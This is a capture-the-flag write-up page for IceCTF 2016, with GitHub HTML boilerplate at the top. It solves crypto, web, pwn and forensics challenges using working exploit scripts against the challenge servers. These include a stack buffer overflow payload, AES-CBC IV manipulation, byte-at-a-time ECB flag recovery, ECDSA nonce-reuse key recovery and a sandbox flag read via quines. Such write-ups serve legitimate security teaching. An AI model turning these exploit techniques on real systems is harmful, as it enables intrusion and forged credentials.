<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
(Page on link "original writeup" is written in Japanese. Here I write English translation.)A server with hidden key and flag is running. Code in Python is public.This server does: decrypt the data and return to the user, if the user send "decrypt" command and encrypted data decrypt the data and regard it as a command, and do the following, if the user send "secret" command and encrypted command if the command includes "encrypt", encrypt the plaintext given in next line and return it if the command includes "flag", encrypt the flag and return itEncryption is done in AES256-CBC. Both plaintext and cipher text are sent and received in BASE64.Initial vector is generated randomly when encrypting the data.The server provides us the function of encrypting, so we need "the encrypted data of 4 characters 'flag'". Unfortunately, we need "encrypted data of 'encrypted'" to do so.Encryption is done in CBC, so if I obtain the result of decryption, then I can change the initial vector to modify the first block as I like.So I decrypted 32 \0s. and I rewrote the initial vector to "obtained plaintext ^ desired plaintext" to get the first 16 bytes as I like. In this problem I need only to set the first 4 bytes to "flag", so I modified the first 4 bytes of initial vector.I could confirm that the modified was decrypted to the string starting with "flag" by "decrypt" command.I sent this to "secret" command, then the result to "decrypt" command. I obtained the key flag.Abstract of logs for writeup follows: $ dd if=/dev/zero bs=32 count=1 | base641+0 records in1+0 records out32 bytes copied, 0.000194334 s, 165 kB/sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= $ nc flagstaff.vuln.icec.tf 6003 Welcome to the secure flag server.Send me a command: decryptSend me some data to decrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=6VlxPr4/oHDN5x6RmAek+w== $ echo -n 6VlxPr4/oHDN5x6RmAek+w== | base64 -d | od -t x10000000 e9 59 71 3e be 3f a0 70 cd e7 1e 91 98 07 a4 fb0000020 $ pythonPython 2.7.12 (default, Jul 1 2016, 15:12:24) [GCC 5.4.0 20160609] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> hex(0xe959713e ^ 0x666c6167)'0x8f351059'>>> quit() $ (perl -e 'print "\x8f\x35\x10\x59";'; dd if=/dev/zero bs=28 count=1) | base641+0 records in1+0 records out28 bytes copied, 0.000133464 s, 210 kB/sjzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= $ nc flagstaff.vuln.icec.tf 6003 Welcome to the secure flag server.Send me a command: decryptSend me some data to decrypt: jzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=ZmxhZ74/oHDN5x6RmAek+w== $ echo ZmxhZ74/oHDN5x6RmAek+w== | base64 -dflag�?�p��?���� $ nc flagstaff.vuln.icec.tf 6003 Welcome to the secure flag server.Send me a command: secretSend me an encrypted command: jzUQWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=6g0QvuIcEb1TfCq9vlApP6tKr+agmfm44nOWreOHXhM3F7QQrlwwmC4u9ZII4LzaY8VyCSy7Wci2txjkHiUREjks38JcKkm84AmETtJ4utI= $ nc flagstaff.vuln.icec.tf 6003 Welcome to the secure flag server.Send me a command: decryptSend me some data to decrypt: 6g0QvuIcEb1TfCq9vlApP6tKr+agmfm44nOWreOHXhM3F7QQrlwwmC4u9ZII4LzaY8VyCSy7Wci2txjkHiUREjks38JcKkm84AmETtJ4utI=SWNlQ1RGe3JldmVyc2VfYWxsX3RoZV9ibG9ja3NfYW5kX2dldF90b190aGVfbWVhbmluZ19iZWhpbmR9 $ echo SWNlQ1RGe3JldmVyc2VfYWxsX3RoZV9ibG9ja3NfYW5kX2dldF90b190aGVfbWVhbmluZ19iZWhpbmR9 | base64 -dIceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind} |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```

### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!

### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:

Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:

Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
